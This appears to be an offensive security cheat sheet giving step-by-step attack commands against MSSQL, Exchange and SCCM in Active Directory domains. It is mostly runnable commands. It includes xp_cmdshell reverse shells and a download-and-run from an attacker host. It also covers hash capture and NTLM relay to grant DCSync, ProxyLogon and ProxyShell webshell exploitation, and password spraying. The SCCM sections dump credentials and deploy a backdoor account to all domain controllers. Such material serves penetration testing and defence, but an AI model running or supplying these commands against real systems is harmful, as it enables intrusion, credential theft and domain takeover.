ᛉ Yggdrasil

Active Directory

MSSQL, Exchange & SCCM Attack

15 Sep 2026 · 3,473 words · 16 min

Contents

Covers enumeration through exploitation for all three services in an AD environment. Tools: mssqlclient, PowerUpSQL, impacket, ntlmrelayx, ruler, privexchange, sccmhunter, SharpSCCM


MSSQL

  1. MSSQL Enumeration
  2. MSSQL Authentication
  3. MSSQL Privilege Escalation — xp_cmdshell
  4. MSSQL Impersonation
  5. MSSQL Trustworthy Database Abuse
  6. MSSQL Linked Server Attacks
  7. MSSQL UNC Path Injection — Hash Capture
  8. MSSQL CLR Assembly Execution

Exchange

  1. Exchange Enumeration
  2. PrivExchange — DCSync via Exchange Permissions
  3. ProxyLogon (CVE-2021-26855)
  4. ProxyShell (CVE-2021-34473 / 34523 / 31207)
  5. ProxyNotShell (CVE-2022-41040 / 41082)
  6. Exchange NTLM Relay
  7. GAL Enumeration & OWA Password Spray

SCCM / MECM

  1. SCCM Enumeration
  2. SCCM NAA Credential Harvesting
  3. SCCM PXE Boot Attacks
  4. SCCM NTLM Relay (HTTP → LDAP/SMB)
  5. SCCM AdminService Abuse
  6. SCCM Lateral Movement — Malicious Application Deployment
  7. SCCM Credential Dump from Site Database

MSSQL

1. MSSQL Enumeration

Find MSSQL Instances via DNS / LDAP / SPN

# SPNs registered for MSSQL in AD (most reliable)
GetUserSPNs.py domain.local/attacker:Pass123! -dc-ip <DC_IP> | grep -i mssql
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
  -b 'DC=domain,DC=local' \
  '(servicePrincipalName=MSSQLSvc/*)' \
  sAMAccountName servicePrincipalName dNSHostName

# nmap — UDP 1434 (SQL Browser) + TCP 1433
nmap -p 1433,1434 --script ms-sql-info,ms-sql-empty-password,ms-sql-ntlm-info <SUBNET>/24

# crackmapexec
crackmapexec mssql <SUBNET>/24 --no-bruteforce

# PowerUpSQL (Windows)
Get-SQLInstanceDomain -Verbose       # Via AD SPNs
Get-SQLInstanceBroadcast -Verbose    # Via UDP broadcast
Get-SQLInstanceScanUDP -Verbose      # UDP scan

Check Accessibility and Auth

# crackmapexec — test credentials
crackmapexec mssql <MSSQL_IP> -u attacker -p 'Pass123!' -d domain.local
crackmapexec mssql <MSSQL_IP> -u sa -p 'sa' --local-auth     # SA brute

# PowerUpSQL
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose
Get-SQLServerInfo -Instance <MSSQL_INSTANCE>

2. MSSQL Authentication

Windows Auth (Kerberos / NTLM)

# mssqlclient.py — Windows auth
mssqlclient.py domain.local/attacker:Pass123!@<MSSQL_IP> -windows-auth

# With NTLM hash (PTH)
mssqlclient.py -hashes :<NTLM> domain.local/attacker@<MSSQL_IP> -windows-auth

# With Kerberos TGT
export KRB5CCNAME=attacker.ccache
mssqlclient.py -k domain.local/attacker@<MSSQL_FQDN> -windows-auth -no-pass

SQL Auth (SA or other SQL logins)

mssqlclient.py sa:Password123@<MSSQL_IP>
mssqlclient.py -p 1433 sa:sa@<MSSQL_IP>

Useful Queries After Login

-- Who am I?
SELECT SYSTEM_USER;
SELECT USER_NAME();
SELECT IS_SRVROLEMEMBER('sysadmin');

-- All logins and roles
SELECT name, type_desc, is_disabled FROM sys.server_principals;
SELECT r.name, m.name FROM sys.server_role_members rm
  JOIN sys.server_principals r ON rm.role_principal_id = r.principal_id
  JOIN sys.server_principals m ON rm.member_principal_id = m.principal_id;

-- Databases
SELECT name, is_trustworthy_on FROM sys.databases;

-- Current DB permissions
SELECT * FROM fn_my_permissions(NULL, 'SERVER');

3. MSSQL Privilege Escalation — xp_cmdshell

Enable and Use xp_cmdshell (requires sysadmin)

-- Check if enabled
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell';

-- Enable
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;

-- Execute OS commands
EXEC xp_cmdshell 'whoami';
EXEC xp_cmdshell 'net user attacker Pass123! /add && net localgroup administrators attacker /add';

-- Reverse shell (PowerShell)
EXEC xp_cmdshell 'powershell -nop -w hidden -e <BASE64_PAYLOAD>';

-- File operations
EXEC xp_cmdshell 'dir C:\Users\';
EXEC xp_cmdshell 'type C:\Windows\System32\drivers\etc\hosts';

mssqlclient.py — built-in helpers

# Inside mssqlclient session:
SQL> enable_xp_cmdshell           # Automatically enables xp_cmdshell
SQL> xp_cmdshell whoami
SQL> xp_cmdshell powershell -c "IEX(IWR http://<ATTACKER_IP>/rev.ps1 -UseBasicParsing)"

4. MSSQL Impersonation

What it is: MSSQL allows users to be granted IMPERSONATE permission on other logins. If you can impersonate a sysadmin, you escalate.

-- Check who you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE';

-- Impersonate a sysadmin login
EXECUTE AS LOGIN = 'sa';
SELECT SYSTEM_USER;
SELECT IS_SRVROLEMEMBER('sysadmin');

-- Now enable xp_cmdshell as the impersonated SA
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
EXEC xp_cmdshell 'whoami';

-- Revert
REVERT;

PowerUpSQL

Invoke-SQLAuditPrivImpersonateLogin -Instance <INSTANCE> -Verbose
Invoke-SQLEscalatePriv -Instance <INSTANCE> -Verbose

5. MSSQL Trustworthy Database Abuse

What it is: If a database has TRUSTWORTHY = ON and its owner is a sysadmin (e.g., sa), any db_owner in that database can execute CLR/stored procedures with sysadmin context.

-- Find trustworthy databases
SELECT name, is_trustworthy_on, suser_sname(owner_sid) AS owner
FROM sys.databases
WHERE is_trustworthy_on = 1;

-- If you're db_owner of a trustworthy DB owned by sa:
USE <TrustworthyDB>;

-- Create a stored procedure that executes as the DB owner (sa)
CREATE PROCEDURE sp_escalate
WITH EXECUTE AS OWNER
AS
BEGIN
  EXEC sp_addsrvrolemember 'domain\attacker', 'sysadmin';
END;

EXEC sp_escalate;

-- Verify
SELECT IS_SRVROLEMEMBER('sysadmin');

6. MSSQL Linked Server Attacks

What it is: MSSQL servers can be linked to other MSSQL instances. If the link uses a privileged account (e.g., SA or sysadmin), you can pivot to other instances.

Enumerate Linked Servers

-- List linked servers
SELECT name, provider, data_source FROM sys.servers WHERE is_linked = 1;

-- Or
EXEC sp_linkedservers;

-- Check the security context used for each link
EXEC sp_helplinkedsrvlogin;

Execute Queries on Linked Servers

-- Basic query on linked server
SELECT * FROM OPENQUERY([<LINKED_SERVER>], 'SELECT SYSTEM_USER');
SELECT * FROM OPENQUERY([<LINKED_SERVER>], 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');

-- Enable xp_cmdshell on linked server
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [<LINKED_SERVER>];
EXEC ('EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [<LINKED_SERVER>];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [<LINKED_SERVER>];
-- A → B → C (double hop)
SELECT * FROM OPENQUERY([ServerB],
  'SELECT * FROM OPENQUERY([ServerC], ''SELECT SYSTEM_USER'')');

-- Execute command on C via A→B→C
EXEC ('EXEC (''EXEC xp_cmdshell ''''whoami'''''') AT [ServerC]') AT [ServerB];

PowerUpSQL — Linked Server Crawl

Get-SQLServerLinkCrawl -Instance <INSTANCE> -Verbose
Get-SQLServerLinkCrawl -Instance <INSTANCE> -Query 'EXEC xp_cmdshell ''whoami'''

7. MSSQL UNC Path Injection — Hash Capture

What it is: Trigger MSSQL to authenticate to an attacker-controlled UNC path → capture NTLMv2 hash → crack or relay.

# Step 1: Start Responder to capture hashes
responder -I eth0 -wv

# Step 2: Trigger UNC auth from MSSQL (via xp_dirtree, xp_fileexist, or BULK INSERT)
-- xp_dirtree (most common — doesn't need sysadmin if granted)
EXEC xp_dirtree '\\<ATTACKER_IP>\share';

-- xp_fileexist
EXEC xp_fileexist '\\<ATTACKER_IP>\share\file.txt';

-- BULK INSERT
BULK INSERT tempdb..test FROM '\\<ATTACKER_IP>\share\file.txt';

-- OPENROWSET
SELECT * FROM OPENROWSET(BULK '\\<ATTACKER_IP>\share\test.txt', SINGLE_CLOB) AS tmp;
# Step 3: Responder captures NTLMv2 hash of the SQL service account
# Crack it
hashcat -m 5600 hash.txt /usr/share/wordlists/rockyou.txt

# OR relay with ntlmrelayx (disable Responder SMB/HTTP first)
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user attacker
# Then trigger the UNC path

8. MSSQL CLR Assembly Execution

What it is: Load a custom .NET assembly into MSSQL and call its methods — effectively arbitrary code execution. Requires sysadmin.

# Generate CLR payload with mssqlclient built-in or custom DLL
# Using PowerUpSQL:
# PowerUpSQL — create and execute CLR
Invoke-SQLOSCmdCLR -Instance <INSTANCE> -Command 'whoami' -Verbose

# Manual — compile a .cs payload to DLL, then:
# 1. Enable CLR
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'clr enabled', 1; RECONFIGURE;
EXEC sp_configure 'clr strict security', 0; RECONFIGURE;

# 2. Load assembly from hex bytes (convert DLL to hex)
CREATE ASSEMBLY evil FROM 0x4D5A... WITH PERMISSION_SET = UNSAFE;

# 3. Create function mapping to DLL method
CREATE PROCEDURE [dbo].[cmd_exec] @execCommand NVARCHAR(4000)
AS EXTERNAL NAME [evil].[StoredProcedures].[cmd_exec];

# 4. Execute
EXEC cmd_exec 'whoami';

Exchange

9. Exchange Enumeration

# Discover Exchange via DNS
nslookup -type=MX domain.local <DC_IP>
nslookup autodiscover.domain.local
nslookup mail.domain.local

# Check OWA / EWS / ActiveSync availability
curl -k https://<EXCHANGE_IP>/owa/
curl -k https://<EXCHANGE_IP>/ews/exchange.asmx
curl -k https://<EXCHANGE_IP>/mapi/
curl -k https://<EXCHANGE_IP>/ecp/         # Exchange Control Panel (admin)
curl -k https://<EXCHANGE_IP>/autodiscover/autodiscover.xml

# nmap
nmap -p 25,80,110,143,443,587,993,995 --script smtp-ntlm-info,http-ntlm-info <EXCHANGE_IP>

# Get Exchange version from NTLM info header
curl -k -s --ntlm -u ':' https://<EXCHANGE_IP>/ews/exchange.asmx | grep -i 'x-owa-version\|x-powered-by'
# Or use nmap:
nmap --script http-ntlm-info -p 443 <EXCHANGE_IP>

# Find Exchange servers via AD
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
  -b 'CN=Configuration,DC=domain,DC=local' \
  '(objectClass=msExchExchangeServer)' \
  name networkAddress serialNumber

Exchange AD Permissions (for PrivExchange check)

# Check if Exchange security groups have WriteDACL on domain
Get-DomainObjectAcl -Identity 'DC=domain,DC=local' -ResolveGUIDs | Where-Object {
  $_.IdentityReferenceName -match 'Exchange' -and
  $_.ActiveDirectoryRights -match 'WriteDacl|GenericAll'
}

10. PrivExchange — DCSync via Exchange Permissions

What it is: Exchange Windows Permissions group (and sometimes Exchange Trusted Subsystem) has WriteDACL on the domain object. Any Exchange mailbox user can coerce the Exchange server to authenticate to an attacker → relay to LDAP → grant DCSync.

Requirements: Exchange 2013/2016/2019 (unpatched pre-2019 CU), attacker needs a valid mailbox account.

# Step 1: Start ntlmrelayx targeting LDAP on DC — escalate to DCSync
ntlmrelayx.py -t ldap://<DC_IP> --escalate-user attacker -smb2support

# Step 2: Trigger Exchange to authenticate to attacker using PrivExchange script
# (privexchange.py from https://github.com/dirkjanm/PrivExchange)
privexchange.py -u attacker -p 'Pass123!' -d domain.local \
  --attacker-ip <ATTACKER_IP> <EXCHANGE_IP>

# ntlmrelayx will relay the EXCHANGE$ auth to LDAP and grant DCSync to attacker

# Step 3: DCSync
secretsdump.py domain.local/attacker:Pass123!@<DC_IP> -just-dc-ntlm

Check if Patched

# Exchange 2019 CU1+ / 2016 CU12+ / 2013 CU22+ removed the excess permissions
# Verify by checking if Exchange groups still have WriteDACL on domain object
dacledit.py -action read -target-dn 'DC=domain,DC=local' -dc-ip <DC_IP> 'domain.local/attacker:Pass123!' \
  | grep -i 'exchange'

11. ProxyLogon (CVE-2021-26855)

What it is: Pre-auth SSRF in Exchange's CAS (Client Access Service) combined with post-auth arbitrary file write (CVE-2021-27065). Allows unauthenticated RCE on Exchange servers.

Affected: Exchange 2013, 2016, 2019 — unpatched (before March 2021 patches).

# Check if vulnerable
curl -k -s 'https://<EXCHANGE_IP>/ecp/y.js?=autodiscover/autodiscover.json?@<EXCHANGE_IP>/ecp/y.js%3f' \
  -H 'Cookie: X-BEResource=localhost~1942062522' -v
# 200 OK with content → likely vulnerable

# PoC / exploit (several public PoCs — e.g. proxylogon.py)
python3 proxylogon.py <EXCHANGE_IP> <target_email>
# Outputs: webshell path on Exchange server

# Access the webshell
curl -k 'https://<EXCHANGE_IP>/aspnet_client/<shell>.aspx?cmd=whoami'

12. ProxyShell (CVE-2021-34473 / 34523 / 31207)

What it is: Chain of three vulnerabilities — auth bypass via SSRF (34473), privilege escalation via ACL issue (34523), and remote code execution via Exchange PowerShell remoting (31207). Pre-auth RCE.

Affected: Exchange 2013, 2016, 2019 — unpatched before April/May 2021.

# Check with proxyshell_check.py or nmap
curl -sk 'https://<EXCHANGE_IP>/autodiscover/autodiscover.json?@test.com/mapi/nspi/?&Email=autodiscover/autodiscover.json%3F@test.com' \
  -o /dev/null -w "%{http_code}"
# 200 = potentially vulnerable

# Exploit (proxyshell.py)
python3 proxyshell.py -u https://<EXCHANGE_IP> -e <admin_email>
# Drops a webshell and provides interaction

# Or with metasploit
use exploit/windows/http/exchange_proxyshell_rce
set RHOSTS <EXCHANGE_IP>
set EMAIL <admin_email>
run

13. ProxyNotShell (CVE-2022-41040 / 41082)

What it is: Two vulnerabilities chained — SSRF (41040) and PowerShell RCE (41082). Requires authenticated access (any valid Exchange user). Similar attack surface to ProxyShell.

Affected: Exchange 2013, 2016, 2019 — unpatched before November 2022.

# Check if vulnerable (authenticated)
curl -sk -u 'domain\attacker:Pass123!' \
  'https://<EXCHANGE_IP>/autodiscover/autodiscover.json?@evil.com/powershell/?X-Rps-CAT=<JWT>' \
  -H 'Content-Type: application/json'

# Exploit PoC (https://github.com/kljunowsky/CVE-2022-41040-POC)
python3 CVE-2022-41040.py --url https://<EXCHANGE_IP> \
  -u 'domain\attacker' -p 'Pass123!'

14. Exchange NTLM Relay

What it is: Exchange supports various endpoints that trigger NTLM auth (EWS, OWA, Autodiscover). Relay these to LDAP or SMB for privilege escalation.

# Method 1: Relay Exchange server's outbound auth
# Trigger via PrivExchange (Section 10) or EWS subscription
ntlmrelayx.py -t ldaps://<DC_IP> --escalate-user attacker -smb2support

# EWS push notification subscription — coerce Exchange to call back
# (exchanger.py or ruler)
python3 exchanger.py -u attacker@domain.local -p 'Pass123!' \
  -ah <ATTACKER_IP> domain.local

# Method 2: Relay user auth from OWA to SMB/LDAP
# Set up ntlmrelayx + Responder, send phishing link to Exchange users
ntlmrelayx.py -t smb://<TARGET_IP> -smb2support --no-http-server
# Or to LDAP for user creation / DCSync grant
ntlmrelayx.py -t ldap://<DC_IP> -smb2support --escalate-user attacker

15. GAL Enumeration & OWA Password Spray

Global Address List (GAL) Enumeration via OWA/EWS

# ruler — GAL enumeration via Autodiscover + EWS
ruler --domain domain.local -u attacker -p 'Pass123!' abk

# MailSniper (PowerShell)
Get-GlobalAddressList -ExchHostname <EXCHANGE_IP> -UserName attacker -Password 'Pass123!' -OutFile gal.txt

# EWS manually — resolve all names from GAL
# ewsManage.py or custom EWS calls

OWA Password Spray

# MailSniper
Invoke-PasswordSprayOWA -ExchHostname <EXCHANGE_IP> -UserList users.txt -Password 'Winter2024!'

# SprayingToolkit
python3 sprayingtoolkit.py -t https://<EXCHANGE_IP>/owa/ -u users.txt -p 'Winter2024!'

# Ruler
ruler --domain domain.local spray --users users.txt --passwords passwords.txt --delay 0 --verbose

# o365spray (for Exchange Online / hybrid)
python3 o365spray.py --spray -U users.txt -P 'Winter2024!' --domain domain.local

EWS Mailbox Access (read emails)

# MailSniper — read inbox
Invoke-SelfSearch -Mailbox attacker@domain.local -ExchHostname <EXCHANGE_IP> \
  -Terms 'password','credentials','vpn'

# With another user's creds (if you have them)
Invoke-SelfSearch -Mailbox victim@domain.local -ExchHostname <EXCHANGE_IP> \
  -Remote -RemoteMailbox victim@domain.local -Credential (Get-Credential)

SCCM / MECM

16. SCCM Enumeration

Identify SCCM Infrastructure

# Find SCCM Management Points and Site Servers via AD
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
  -b 'CN=System Management,CN=System,DC=domain,DC=local' \
  '(objectClass=*)' name dNSHostName

# mssADSiteName, msSMSSite, and related AD objects
ldapsearch -H ldap://<DC_IP> -D 'attacker@domain.local' -w 'Pass123!' \
  -b 'DC=domain,DC=local' \
  '(objectClass=msSMSSite)' name

# Find via DNS
nslookup sms.<domain.local>
nslookup sccm.<domain.local>
nslookup mecm.<domain.local>

# sccmhunter — full SCCM recon
python3 sccmhunter.py find -u attacker -p 'Pass123!' -d domain.local -dc-ip <DC_IP>
python3 sccmhunter.py show -all

# SharpSCCM (Windows)
SharpSCCM.exe local site-info
SharpSCCM.exe get site-info -sms <MP_SERVER>
SharpSCCM.exe get collection-members -sms <MP_SERVER>
SharpSCCM.exe get deployments -sms <MP_SERVER>
SharpSCCM.exe get devices -sms <MP_SERVER> -w "Name LIKE '%DC%'"

# Enumerate admin users
SharpSCCM.exe get admins -sms <MP_SERVER>

Check Admin Rights on SCCM

sccmhunter.py smb -u attacker -p 'Pass123!' -d domain.local -dc-ip <DC_IP>
# Checks SMB access to SCCM servers — if admin, proceed to full exploitation

17. SCCM NAA Credential Harvesting

What it is: SCCM uses a Network Access Account (NAA) for clients to authenticate to distribution points. These creds are stored encrypted in the WMI repository on every SCCM client and can be extracted.

From a Compromised SCCM Client (local admin required)

# SharpSCCM — retrieve NAA from WMI (requires local admin or SYSTEM on client)
SharpSCCM.exe local naa
SharpSCCM.exe local secrets -disk   # from disk policies
SharpSCCM.exe local secrets -wmi    # from WMI (CCM_NetworkAccessAccount)

# sccmhunter
python3 sccmhunter.py dpapi -u attacker -p 'Pass123!' -d domain.local \
  -target <CLIENT_IP> -dc-ip <DC_IP>

From the SCCM Site Database (requires DB access)

-- Connect to SCCM site DB (usually on the Site Server)
-- Find NAA in the SC_UserAccount table
SELECT UserName, Password FROM vSMS_SC_UserAccount;

-- Credentials are encrypted with DPAPI — use sccmhunter or manual DPAPI decryption

Task Sequence Credential Harvesting

# Task sequences can contain embedded credentials
SharpSCCM.exe get task-sequence -sms <MP_SERVER>

# If you're an SCCM admin:
SharpSCCM.exe get task-sequence -sms <MP_SERVER> -dump
# Decrypts embedded passwords from task sequence policies

18. SCCM PXE Boot Attacks

What it is: SCCM can serve OS images via PXE. If PXE is not password-protected (or the password is weak), anyone on the network can boot a PXE client, receive the boot media, and extract credentials embedded in the image or task sequences.

# Step 1: Identify PXE-enabled Distribution Points
SharpSCCM.exe get site-info -sms <MP_SERVER>
# Look for: "PXE Enabled: True"

# Step 2: Request PXE boot variables (pxethief.py)
# Sends DHCP/BINL requests to the DP and receives boot policy
python3 pxethief.py 2 <DP_IP>
# If no password — receives variables.dat directly

# If password protected:
python3 pxethief.py 2 <DP_IP>   # Request variables
python3 pxethief.py 5 variables.dat passwords.txt   # Brute force password
hashcat -m 19850 hash.txt /usr/share/wordlists/rockyou.txt  # Crack PXE hash

# Step 3: Decrypt task sequence (once you have the password or no password set)
python3 pxethief.py 6 variables.dat <password>
# Output: decrypted task sequence containing NAA and domain join creds

# Step 4: Extract domain join account credentials from task sequence
# Often contains:
# - Domain join account (with domain join rights)
# - NAA credentials
# - Local admin credentials for imaging

19. SCCM NTLM Relay (HTTP → LDAP/SMB)

What it is: SCCM Management Points have HTTP endpoints. Coerce the SCCM server or its clients to authenticate to you, then relay.

Coerce SCCM Site Server Authentication

# SCCMwtf / sccmhunter — coerce MP to authenticate
python3 sccmhunter.py relay -u attacker -p 'Pass123!' -d domain.local \
  -dc-ip <DC_IP> -target-dc <DC_IP>

# ntlmrelayx setup (LDAP relay for RBCD or DCSync grant)
ntlmrelayx.py -t ldaps://<DC_IP> -smb2support \
  --delegate-access   # RBCD on relayed machine account

# Coerce via HTTP enrollment (CCMSetup / MP endpoints)
# Trigger MP to call back to attacker IP
curl -s "http://<MP_IP>/ccm_system/request?MessageID=test" \
  --header "ClientToken: Attacker" --header "Authorization: "

Relay Client Authentication to Gain Admin

# If you can MitM SCCM client → MP traffic (HTTP, not HTTPS):
ntlmrelayx.py -t http://<MP_IP>/ccm_system/request -smb2support
# Relay client NTLM auth to register a fake device with attacker-controlled creds

20. SCCM AdminService Abuse

What it is: SCCM exposes a REST API (/AdminService/) on the MP/Provider. If you have SCCM admin rights (full or limited), you can use this to execute CMPivot, push scripts, and enumerate all clients.

# Check AdminService availability
curl -k https://<MP_IP>/AdminService/wmi/SMS_R_System -u 'domain\attacker:Pass123!'

# sccmhunter — AdminService enumeration + exploitation
python3 sccmhunter.py admin -u attacker -p 'Pass123!' -d domain.local \
  -dc-ip <DC_IP> -sms <SITE_SERVER>

# Once in sccmhunter admin console:
() SCCMHunter >> get_device <device_name>
() SCCMHunter >> get_collection <collection>
() SCCMHunter >> push_script <device> <script.ps1>   # Execute PowerShell on client
() SCCMHunter >> cmpivot <device> "CurrentUser"       # CMPivot query

CMPivot Abuse (if SCCM Full Admin)

# SharpSCCM — run CMPivot query on all devices
SharpSCCM.exe invoke cmpivot -sms <MP_SERVER> -sc <SITE_CODE> \
  -q "CurrentUser" -collection "All Systems"

# Get logged-on users across all machines
SharpSCCM.exe invoke cmpivot -sms <MP_SERVER> -sc <SITE_CODE> \
  -q "LoggedOnUsers" -collection "All Systems"

21. SCCM Lateral Movement — Malicious Application Deployment

What it is: If you have SCCM admin rights (Full Administrator or Application Administrator), deploy a malicious script/application to target devices or collections.

# SharpSCCM — deploy script to specific device
SharpSCCM.exe exec -sms <MP_SERVER> -sc <SITE_CODE> \
  -d <DEVICE_NAME> \
  -p 'powershell -nop -w hidden -e <BASE64_PAYLOAD>'

# Deploy to entire collection (e.g., "All Domain Controllers")
SharpSCCM.exe exec -sms <MP_SERVER> -sc <SITE_CODE> \
  -n "All Domain Controllers" \
  -p 'cmd.exe /c net user backdoor Pass123! /add'

# sccmhunter — push PowerShell script
python3 sccmhunter.py admin -u attacker -p 'Pass123!' -d domain.local \
  -dc-ip <DC_IP> -sms <SITE_SERVER>
() SCCMHunter >> push_script <device> payload.ps1

Via AdminService REST API directly

# Invoke a script on a device via REST
curl -k -s -X POST "https://<SMS_PROVIDER>/AdminService/v1.0/Device(<resource_id>)/AdminService.RunScript" \
  -u 'domain\attacker:Pass123!' \
  -H 'Content-Type: application/json' \
  -d '{"ScriptGuid":"<GUID>","ScriptName":"test","ScriptBody":"<BASE64_PS1>"}'

22. SCCM Credential Dump from Site Database

What it is: The SCCM Site Database (SQL Server) contains all SCCM credentials, including NAA, domain join accounts, and admin credentials. If you have SA or sysadmin on the SCCM SQL instance, you can dump everything.

# Connect to SCCM SQL (usually on Site Server or dedicated SQL server)
mssqlclient.py domain.local/attacker:Pass123!@<SCCM_SQL_IP> -windows-auth
-- Find the SCCM site database
SELECT name FROM sys.databases WHERE name LIKE 'CM_%';
USE CM_<SITECODE>;

-- Dump all credential-related tables
SELECT UserName, Password FROM SC_UserAccount;                  -- Encrypted (DPAPI)
SELECT UserName, Password FROM vSMS_SC_UserAccount;             -- Same, view

-- Collection membership (who's enrolled)
SELECT Name, OperatingSystemNameandVersion FROM v_R_System ORDER BY Name;

-- Task sequences (may contain embedded passwords)
SELECT PkgID, Name, Sequence FROM vSMS_TaskSequencePackage;

-- Admin users
SELECT LogonName, RoleName FROM v_SecuredScopePermission;

Decrypt DPAPI-Encrypted SCCM Credentials

# sccmhunter — handles DPAPI decryption automatically
python3 sccmhunter.py dpapi -u attacker -p 'Pass123!' -d domain.local \
  -target <SITE_SERVER_IP> -dc-ip <DC_IP>

# Manual DPAPI:
# 1. Extract the SCCM machine DPAPI masterkeys from Site Server (requires admin)
# 2. Use mimikatz or pypykatz to decrypt
mimikatz # dpapi::cred /in:SC_UserAccount_blob

Scenario Matrix

MSSQL

Scenario Requirement Attack Tool
OS command execution sysadmin xp_cmdshell mssqlclient, PowerUpSQL
Escalate to sysadmin IMPERSONATE grant Login impersonation mssqlclient SQL
Escalate via trustworthy DB db_owner, SA-owned DB CREATE PROC AS OWNER mssqlclient SQL
Pivot to other SQL servers Linked server with priv account AT [linked_server] exec mssqlclient, PowerUpSQL
Capture NTLMv2 hash Any SQL access xp_dirtree UNC path mssqlclient + Responder
Arbitrary code execution sysadmin CLR assembly PowerUpSQL

Exchange

Scenario Requirement Attack Tool
DCSync from any mailbox user Unpatched Exchange (pre-2019 CU1) PrivExchange relay privexchange.py + ntlmrelayx
Pre-auth RCE Unpatched Exchange 2013–2019 (pre-Mar 2021) ProxyLogon proxylogon.py
Pre-auth RCE Unpatched Exchange 2013–2019 (pre-May 2021) ProxyShell proxyshell.py
Authenticated RCE Valid Exchange user, unpatched (pre-Nov 2022) ProxyNotShell CVE-2022-41040 PoC
User enumeration Network access GAL via OWA/EWS ruler, MailSniper
Credential spraying Valid user list OWA spray MailSniper, SprayingToolkit
Read emails Valid creds EWS mailbox search MailSniper

SCCM

Scenario Requirement Attack Tool
Dump NAA credentials Local admin on any SCCM client WMI/disk secret extraction SharpSCCM, sccmhunter
Dump imaging creds Network access to PXE DP PXE boot variable theft pxethief.py
Lateral movement to all clients SCCM Full Admin Script deployment SharpSCCM, sccmhunter
DA via relay Network access + HTTP MP NTLM relay from MP ntlmrelayx + sccmhunter
Dump all SCCM creds SQL sysadmin on SCCM DB Query SC_UserAccount mssqlclient + sccmhunter
Enumerate logged-on users SCCM Full Admin CMPivot SharpSCCM

Tool Install Reference

# mssqlclient.py (Impacket)
pip install impacket

# PowerUpSQL (Windows)
Import-Module .\PowerUpSQL.ps1

# SharpSCCM
# Download from: https://github.com/Mayyhem/SharpSCCM

# sccmhunter
git clone https://github.com/garrettfoster13/sccmhunter
pip install -r requirements.txt

# pxethief
git clone https://github.com/MWR-CyberSec/PXEThief
pip install -r requirements.txt

# PrivExchange
git clone https://github.com/dirkjanm/PrivExchange
pip install -r requirements.txt

# ruler
git clone https://github.com/sensepost/ruler
go build

# MailSniper (Windows)
Import-Module .\MailSniper.ps1

# privexchange
pip install privexchange

← Active Directory top ↑